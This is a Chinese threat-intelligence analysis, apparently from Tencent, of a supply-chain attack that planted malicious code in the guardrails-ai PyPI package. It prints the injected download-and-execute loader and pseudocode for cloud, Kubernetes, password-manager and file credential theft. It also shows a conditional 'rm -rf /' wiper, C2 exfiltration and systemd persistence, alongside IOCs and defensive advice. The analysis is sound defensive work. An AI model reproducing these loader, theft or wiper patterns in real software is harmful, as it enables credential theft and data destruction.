文章总结: 腾讯安全威胁情报中心捕获到TeamPCP组织对guardrails-ai框架的供应链攻击,攻击者在PyPI包中注入恶意代码,下载包含7个并发凭据收割模块的载荷,覆盖AWS、Azure、GCP、Kubernetes等云平台凭据及90个敏感文件路径。攻击采用RSA信封加密和三重冗余回传机制,具备系统擦除与持久化能力。建议用户检查安装版本并加强供应链安全防护。 综合评分: 95 文章分类: 供应链安全,漏洞分析,恶意软件,云安全,数据安全
链锁裂变|TeamPCP 供应链攻击劫持 guardrails-ai,七模块凭据收割全景分析
原创
腾讯安全威胁情报 腾讯安全威胁情报
腾讯安全威胁情报中心
2026年5月12日 20:18 上海
在小说阅读器读本章
去阅读
2026 年 5 月 12 日凌晨,腾讯安全威胁情报中心捕获到知名 LLM 防护框架
guardrails-ai的一个异常版本更新。经深度分析,确认为活跃供应链攻击组织 TeamPCP 发起的最新一轮投毒行动。攻击者在合法包入口文件末尾追加 14 行代码,静默下载并执行一枚 23KB 的 Python zipapp 载荷。载荷内含 7 个并发凭据收割模块,覆盖 AWS / Azure / GCP / Kubernetes / HashiCorp Vault / 密码管理器及 90 个敏感文件路径,同时具备条件性系统擦除与 systemd 持久化能力。本文沿攻击链逐层剖析其技术细节。
一、概述
guardrails-ai 是一个拥有 6.8k GitHub Stars、600+ Forks 的知名开源项目(Apache-2.0),月 PyPI 下载量约 25 万次,日均下载约 1.2 万次(pypistats.org 数据)。该库为 LLM 应用提供输入/输出验证框架,能够检测幻觉、策略违规和数据泄漏,是当前 AI 应用生产部署中最常用的防护组件之一。官方安装指令为 pip install guardrails-ai。
使用范围,guardrails-ai 广泛应用于企业级 LLM 应用的生产环境,典型场景包括:
- LLM 输入/输出结构化验证(结合 Pydantic schema)
- AI Agent 的安全策略执行(毒性检测、竞品信息过滤、PII 脱敏等)
- LLM 网关层防护(通过 Guardrails Server 部署为独立服务)
- 多模型统一接口(兼容 OpenAI、Anthropic 及开源模型)
用户群体涵盖 AI 应用开发者、MLOps 工程师、LLM 平台运维团队,部署环境多为 Linux 服务器、Kubernetes 集群和 CI/CD 流水线——恰好是本次恶意载荷的重点攻击目标。
影响范围,2026-05-12 00:47 UTC,攻击者向 PyPI 发布版本 0.10.1——紧随正式 release v0.10.0(2026-04-03)之后的递增版本号。包内 178 个 .py 文件中,仅 __init__.py 末尾被追加了 14 行恶意代码,其余 177 个文件均为原始合法代码。以下场景可能受影响:
- 使用
pip install --upgrade guardrails-ai或不锁版本号的 CI/CD pipeline,可能静默拉取到恶意版本 - 恶意版本上传(00:47 UTC)至 PyPI 下架之间的窗口期内,所有新安装或升级操作均存在风险
- 依赖 guardrails-ai 的下游包和内部项目可能通过依赖传递被间接影响
- 恶意载荷仅在 Linux 平台触发,Windows/macOS 用户不受影响
PyPI 在数小时内下架了该包全部版本。我们通过 CDN 预取机制成功找回样本。
载荷署名 ASCII art 为 TeamPCP,C2 IP 与已知 TeamPCP 基础设施同网段,多项 TTP 高度吻合——这是该组织继 Trivy、KICS、LiteLLM、Telnyx、Xinference、TanStack 之后的又一次高价值目标供应链投毒。
二、初始入口:14 行的入口劫持
注入位置,guardrails/__init__.py,第 35-48 行。
原文件第 1-33 行为标准的模块导出代码(from guardrails.guard import Guard 等),攻击者在其后追加:
python
if sys.platform.startswith("linux"):
URL = "hxxps[:]//git-tanstack[.]com/transformers.pyz"
PATH = "/tmp/transformers.pyz"
req = urllib.request.Request(URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req) as response, open(PATH, 'wb') as out_file:
out_file.write(response.read())
subprocess.run(["python3", PATH])
行为极为直白,无混淆:
import guardrails(任何方式)
↓
检查 sys.platform == "linux"
↓
从 git-tanstack[.]com 下载 transformers.pyz → /tmp/
↓ (User-Agent 伪造为 Mozilla/5.0)
subprocess.run(["python3", "/tmp/transformers.pyz"])
C2 域名 git-tanstack[.]com 仿冒了 TanStack 开源项目——就在前一天(2026-05-11),TeamPCP 刚刚对 TanStack 的 42 个 npm 包发动了大规模供应链攻击(CVE-2026-45321)。文件名 transformers.pyz 则仿冒 HuggingFace 的 Transformers 库。
对包内全部 178 个 .py 文件排查确认,恶意注入点唯一。
三、反沙箱三重门:.pyz 入口逻辑
第二阶段载荷 transformers.pyz 是一枚 23KB 的 Python zipapp 归档(SHA256: 0f35abda...),解压后含 18 个文件、16 个 Python 模块。
__main__.py 实现了三重环境检查,逐层过滤非目标环境:
| 关卡 | 代码 | 意图 |
| — | — | — |
| ① 平台检查 | if sys.platform not in ('linux'): sys.exit(1) | 仅攻击 Linux |
| ② 语言豁免 | if lang.lower().startswith('ru'): sys.exit(1) | 跳过俄语系统 |
| ③ 沙箱规避 | if os.cpu_count() <= 4: sys.exit(1) | 排除低配分析沙箱 |
通过检查后,静默安装 cryptography 库(pip install cryptography --break-system-packages),然后将 stdout/stderr 重定向到 /dev/null,运行主控模块 entrypoint。
四、主控中枢:三重冗余回传 + RSA 信封加密
entrypoint.py 是整个载荷的指挥中心(161 行),硬编码了 C2 地址和 RSA-4096 公钥。
4.1 C2 通信:伪装 ML 模型服务
python
_EARLY_QUARANTINE_URL = "hxxps[:]//83[.]142.209.194/v1/modelsx"
_TARGET_URL = "hxxps[:]//83[.]142.209.194/v1/weights"
C2 端点刻意伪装为机器学习模型服务 API 路径(/v1/models、/v1/weights),IP 83[.]142.209.194 位于乌克兰基辅(Ghosty Networks LLC, AS205759)——与 Unit 42 已确认的 TeamPCP IoC 83[.]142.209.203 位于同一 /24 网段。
4.2 数据加密:RSA + AES 信封封装
窃取数据先经 gzip 压缩,再用随机 AES-256-GCM 密钥加密,AES 密钥本身用硬编码的 RSA-4096 公钥进行 OAEP-SHA256 封装。只有持有对应私钥的攻击者才能解密,即使截获流量也无法还原内容。
collect_all() → JSON → gzip → AES-256-GCM(随机密钥) → 密文
↓
RSA-OAEP-SHA256(公钥) → 加密的AES密钥
↓
POST → {"envelope": base64(iv+密文+tag), "key": base64(加密密钥)}
4.3 三重冗余回传机制
① 首选: POST → hxxps[:]//83[.]142.209.194/v1/weights
↓ 失败
② Dead Drop: GitHub Commit Search "FIRESCALE"
→ RSA 签名验证 → 解析备用 C2 URL
↓ 失败
③ 终极: 从窃取数据中提取 GitHub Token
→ 用受害者的 token 创建公开仓库
→ 仓库名: {斯拉夫民间传说词}-{词}-{数字}
→ 上传 results.json(全部窃取数据)
第三重回传尤为巧妙:利用受害者自己的 GitHub PAT 在其账户下创建公开仓库存放赃物。仓库名从 30 个斯拉夫民间传说词汇中随机组合(BABA-YAGA、KOSCHEI、FIREBIRD、RUSALKA 等),仓库描述固定为 "PUSH UR T3MPRR"。
五、七模块并发收割:从云密钥到密码管理器
aggregate.py 使用 ThreadPoolExecutor 并发调度 collectors/ 下的全部 7 个收割模块,最大化窃取效率。
5.1 AWS:19 区域 × 15 线程全量扫描
collectors/aws.py(165 行)实现了完整的 AWS 凭据窃取链:
凭据获取(三路径):
├─ 环境变量: AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
├─ EC2 IMDS v2: 169[.]254.169.254 元数据服务
└─ ~/.aws/credentials 全 profile 遍历
窃取内容:
├─ Secrets Manager: ListSecrets → GetSecretValue(明文)
└─ SSM Parameter Store: DescribeParameters → GetParameter(WithDecryption=True)
覆盖 us-east-1/2、us-west-1/2、eu-west-1/2/3 等 19 个区域,以 15 线程并发扫描。认证使用自实现的 AWS SigV4 签名算法。
5.2 Azure:全订阅 Key Vault 遍历
collectors/azure.py(231 行)支持四种凭据获取路径——环境变量 Client Credentials、Client Certificate(自签 JWT)、Azure CLI 缓存(~/.azure/accessTokens.json)、Azure IMDS。获取 ARM + Vault 双 token 后,遍历所有 Subscription → 所有 Key Vault → 所有 Secret 的明文值。
python
# 伪代码 — azure.py 核心逻辑
resolve_tokens() # 4种路径获取 arm_token + vault_token
for sub_id in list_subscriptions(arm_token):
for vault in list_vaults(arm_token, sub_id):
for secret_name in list_secret_names(vault_url, vault_token):
steal(get_secret_value(vault_url, secret_name, vault_token))
5.3 GCP:JWT 签名认证 + Secret Manager
collectors/gcp.py(186 行)对 Service Account 实现了完整的 JWT-RS256 签名认证(自行构造 JWT 并用 SA 私钥签名),支持 ADC 文件和 GCE IMDS。遍历项目内所有 Secret 的 latest 版本明文。
python
# 伪代码 — gcp.py 核心逻辑
def get_token(sa_json):
jwt = sign_rs256(header={"alg":"RS256"}, payload={
"iss": sa["client_email"],
"scope": "https://www.googleapis.com/auth/cloud-platform"
}, key=sa["private_key"])
return POST("https://oauth2.googleapis.com/token", assertion=jwt)
token = resolve_credentials() # 3种路径: env SA文件 / ADC / GCE IMDS
for secret in list_secrets(token, project_id):
steal(get_secret_value(token, secret, version="latest"))
5.4 Kubernetes:自动下载 kubectl + 全集群 Secrets
collectors/kubernetes.py 是最大的模块(364 行),有一个值得关注的特性——若目标机器无 kubectl,会自动从 dl.k8s.io 下载到 /tmp/kubectl。随后遍历所有 context × 所有 namespace × 所有 Secrets,自动 base64 解码 Secret data。同时实现了纯 Python 的 K8s API 调用路径(使用 os.memfd_create 处理客户端证书认证)作为 fallback。
python
# 伪代码 — kubernetes.py 核心逻辑
if not which("kubectl"):
curl("https://dl.k8s.io/release/v1.28.0/bin/linux/{arch}/kubectl", "/tmp/kubectl")
chmod("/tmp/kubectl", 755)
for context in all_kubeconfig_contexts():
for namespace in list_namespaces(context):
for secret in list_secrets(namespace):
steal(base64_decode(secret.data))
5.5 文件系统:90 个敏感路径 + 全量环境变量
collectors/filesystem.py(373 行)硬编码了 90 个敏感文件路径,涵盖:
| 类别 | 典型路径 |
| — | — |
| 云凭据 | ~/.aws/credentials , ~/.azure/accessTokens.json, ~/.config/gcloud/application_default_credentials.json |
| SSH/GPG | ~/.ssh/* (遍历全目录), ~/.gnupg/ |
| 包管理器 | ~/.npmrc , ~/.pypirc, ~/.cargo/credentials |
| IaC | ~/.terraform.d/credentials.tfrc.json , *.tfstate(递归搜索) |
| VPN | Tailscale state, WireGuard conf, wg showconf all |
| Docker | ~/.docker/config.json + 所有容器环境变量(通过 Docker socket 或 CLI) |
| AI 工具 ★ | ~/.config/claude/claude_desktop_config.json , ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, ~/.continue/config.json, ~/.zed/settings.json |
| Shell 历史 | ~/.bash_history , ~/.zsh_history |
此外还递归搜索 HOME 下的所有 .env / .env.* 文件、所有 *.tfstate 文件,dump 完整的 os.environ,以及通过 gh auth token 和 gh auth status --show-token 主动获取 GitHub CLI 的认证令牌。
python
# 伪代码 — filesystem.py 核心逻辑
steal(read_all(90个硬编码敏感路径))
steal(list_and_read("~/.ssh/*"))
steal(os.environ) # 全量环境变量
steal(recursive_find("~", ".env*")) # 递归搜索 .env 文件
steal(recursive_find("~", "*.tfstate")) # Terraform 状态文件
steal(subprocess("gh auth token")) # GitHub CLI token
steal(docker_socket("/containers/json") → inspect每个容器环境变量)
steal(subprocess("tailscale status --json")) # VPN 配置
steal(subprocess("wg showconf all")) # WireGuard 配置
该载荷专门针对 AI 开发工具(Claude Desktop、Cursor、VSCode、Codeium、Continue、Zed、OpenCode)的 MCP 配置文件,与 TeamPCP 一贯瞄准 AI/ML 基础设施的策略一致。
5.6 密码管理器:四大管理器联合收割
collectors/passwords.py(150 行)调用四个密码管理器的 CLI 工具:
| 管理器 | 手段 |
| — | — |
| 1Password (op) | 遍历全部账户 → 全部 Vault → 全部 Item 明文 |
| Bitwarden (bw) | 检查解锁状态 → list items 全量导出 |
| pass | ls → show 遍历所有条目 |
| gopass | list --flat → show --password 全量导出 |
python
# 伪代码 — passwords.py 核心逻辑(以 1Password 为例)
for account in op("account list"):
for vault in op("vault list", account):
for item in op("item list", vault):
steal(op("item get", item, "--format=json")) # 明文导出每个凭据
5.7 HashiCorp Vault:全 KV 引擎递归遍历
collectors/vault.py(154 行)支持四种 Token 获取方式(环境变量、~/.vault-token、AppRole 登录、vault print token CLI),然后通过 GET /v1/sys/mounts 枚举所有挂载点,对 type=kv/generic 的引擎递归遍历全部密钥路径,读取明文值。
python
# 伪代码 — vault.py 核心逻辑
token = resolve_token() # 4种路径: env / ~/.vault-token / AppRole / CLI
addr = os.environ.get("VAULT_ADDR") or "http://127.0.0.1:8200"
for mount in GET(f"{addr}/v1/sys/mounts"):
if mount.type in ("kv", "generic"):
recursive_walk(mount): # 递归遍历全部 KV 路径
steal(read_secret(path)) # 读取每个密钥的明文值
六、条件性擦除:俄罗斯轮盘与地缘针对
roulette.py 是整个载荷中最具地缘色彩的模块。
6.1 地理围栏检测
函数 _is_israeli_system()(代码作者原始命名)通过五种手段检测目标系统的地理位置:
TZ 环境变量 ──┐
/etc/timezone ─┤── 匹配 "Jerusalem" / "Tel_Aviv" / "Tehran"
/etc/localtime ┘
LANG/LC_ALL ──┬── 匹配 "he_IL"(希伯来语) / "fa_IR"(波斯语)
locale() ──┘
6.2 1/6 概率全盘擦除
python
roll = random.randint(1, 6)
if _is_israeli_system() and roll == 2:
play_at_full_volume("hxxps[:]//83[.]142.209.194/audio.mp3", "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/"])
return
若检测到目标系统位于以色列/伊朗,以 1/6 概率触发:先通过 pactl 设置系统音量至 100% 并播放 C2 上的音频文件 RunForCover.mp3,随后执行 rm -rf /。
6.3 持久化后门:伪装 PostgreSQL 监控
其余情况下,调用 deploy_local() 植入 systemd 持久化后门:
root → /usr/bin/pgmonitor.py + /etc/systemd/system/pgsql-monitor.service
非 root → ~/.local/bin/pgmonitor.py + ~/.config/systemd/user/pgsql-monitor.service
服务描述伪装为 "PostgreSQL Monitor",设置 Restart=always。文件名 pgmonitor.py 与 TeamPCP 此前使用的 CanisterWorm 蠕虫中 pgmon 伪装名如出一辙。
七、完整攻击链全景
八、威胁组织画像:TeamPCP
8.1 组织概况
TeamPCP(别名 PCPcat、ShellForce、DeadCatx3)是一个自 2025 年 9 月起活跃的供应链攻击组织,被 Palo Alto Unit 42、Wiz、JFrog、Datadog 等多家安全厂商持续追踪。据 Unit 42 引述,该组织已入侵超 50 万台机器,窃取超 300GB 凭据数据。
8.2 历史攻击事件
| 时间 | 目标 | 生态 | | — | — | — | | 2025-12 | 云原生主机(React2Shell) | 漏洞利用 | | 2026-03-19 | Aqua Trivy(76/77 个 tag) | GitHub Actions | | 2026-03-21 | Checkmarx KICS(35 个 tag) | GitHub Actions | | 2026-03-23 | LiteLLM 1.82.7/1.82.8(9500 万月下载) | PyPI | | 2026-03-27 | Telnyx 4.87.1/4.87.2 | PyPI | | 2026-04-22 | Xinference 2.6.x | PyPI | | 2026-05-11 | TanStack 42 个包/84 个版本 | npm | | 2026-05-12 | guardrails-ai 0.10.1 | PyPI |
8.3 归因关联
本次事件与 TeamPCP 存在 12 个独立关联点,其中 10 个直接匹配:
- 署名,LICENSE 中 ASCII art 为
TeamPCP - C2 IP,
83[.]142.209.194与已知 IoC83[.]142.209.203同一 /24 网段 - 域名仿冒,
git-tanstack[.]com— TanStack npm 攻击(05-11)仅早一天 - 持久化伪装,
pgmonitor.py— 与 CanisterWorm 的pgmon一致 - systemd 路径,
~/.config/systemd/user/— 与 LiteLLM Stage 3 的sysmon.py同一路径模式 - 俄语豁免 / 条件性 wiper / GitHub Dead Drop / GitHub 外泄 等均与已知 TTP 吻合
九、IOC
| 类别 | 类型 | 值 |
| — | — | — |
| 网络 | Domain | git-tanstack[.]com |
| 网络 | IP | 83.142.209[.]194 (Ukraine, Kyiv, AS205759) |
| 网络 | URL | hxxps://git-tanstack[.]com/transformers.pyz |
| 网络 | URL | hxxps://83.142.209[.]194/v1/models |
| 网络 | URL | hxxps://83.142.209[.]194/v1/weights |
| 网络 | URL | hxxps://83.142.209[.]194/audio.mp3 |
| 网络 | GitHub | Commit search keyword: FIRESCALE |
| 文件 | SHA256 | b76c800a685c0376a668170b000ba1e5a5ac7daeb714a6af97eac2d31d9a8dbc (guardrails_ai-0.10.1-py3-none-any.whl) |
| 文件 | SHA256 | 8491b17dc16f31c27f290b3b1e0f2e8866cc775828590e90376ecfb0cc1f8d9c (guardrails_ai-0.10.1.tar.gz) |
| 文件 | SHA256 | 0f35abda19fb69430c32228465396094b866d887427bf551e353ab31256a9dd6 (transformers.pyz) |
| 文件 | SHA256 | 93f0791d596816985832f32ea8690bd3dceba95cf851a46fe5e644e50651ed7b (guardrails/init.py 恶意版) |
| 主机 | 文件 | /tmp/transformers.pyz |
| 主机 | 文件 | /tmp/kubectl (自动下载) |
| 主机 | 文件 | /usr/bin/pgmonitor.py 或 ~/.local/bin/pgmonitor.py |
| 主机 | 服务 | pgsql-monitor.service |
| 主机 | 文件 | RunForCover.mp3 |
十、ATT&CK 技术映射
| 阶段 | 技术 | 说明 |
| — | — | — |
| 初始访问 | T1195.002 供应链投毒 | 劫持合法 PyPI 包发布恶意版本 |
| 执行 | T1059.006 Python | __init__.py import-time 执行 + subprocess |
| 持久化 | T1543.002 Systemd Service | pgsql-monitor.service ,Restart=always |
| 防御规避 | T1036.005 伪装合法服务 | 伪装为 PostgreSQL Monitor |
| 防御规避 | T1497.001 沙箱检测 | CPU 核数检查、平台检查、语言检查 |
| 凭据访问 | T1552.001 文件中的凭据 | 90 个敏感文件路径 + SSH + .env |
| 凭据访问 | T1552.005 云实例元数据 | AWS/Azure/GCP IMDS |
| 凭据访问 | T1555 密码管理器 | 1Password / Bitwarden / pass / gopass |
| 发现 | T1613 容器发现 | Docker socket 枚举 + K8s API |
| 数据外传 | T1567.001 外传至代码仓库 | 用窃取的 GitHub Token 创建公开仓库 |
| 数据外传 | T1573.002 非对称加密 | RSA-4096 + AES-256-GCM 信封加密 |
| 影响 | T1485 数据销毁 | 条件性 rm -rf / |
十一、防御建议
对开发者和 DevOps 团队
- 立即检查,
pip show guardrails-ai | grep Version,若为 0.10.1 立即卸载并轮换所有凭据 - 锁定依赖版本,使用
pip install --require-hashes或 lockfile 机制,避免自动拉取新版本 - 检查持久化痕迹,排查
/usr/bin/pgmonitor.py、~/.local/bin/pgmonitor.py、pgsql-monitor.service是否存在 - 排查 GitHub 仓库,搜索账户下是否存在包含 BABA-YAGA、KOSCHEI 等斯拉夫词汇的异常公开仓库
对企业安全团队
- 网络层阻断,封禁
git-tanstack[.]com和83.142.209.194 - CI/CD 审计,检查 2026-05-12 00:47 UTC 之后的所有构建日志,排查是否拉取了 guardrails-ai
- 凭据轮换,若确认中招,应按全量泄露处置——AWS/Azure/GCP 密钥、K8s Secrets、SSH 密钥对、GitHub PAT、Docker credentials、Vault token、密码管理器主密码均需轮换
- GitHub Dead Drop 监控,监控 GitHub Commit Search 中
FIRESCALE关键字的活动 - 供应链安全加固,部署包完整性校验(如 Sigstore/in-toto)、SBOM 可见性,监控关键依赖的异常版本发布
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:腾讯安全威胁情报中心 腾讯安全威胁情报 腾讯安全威胁情报《链锁裂变|TeamPCP 供应链攻击劫持 guardrails-ai,七模块凭据收割全景分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论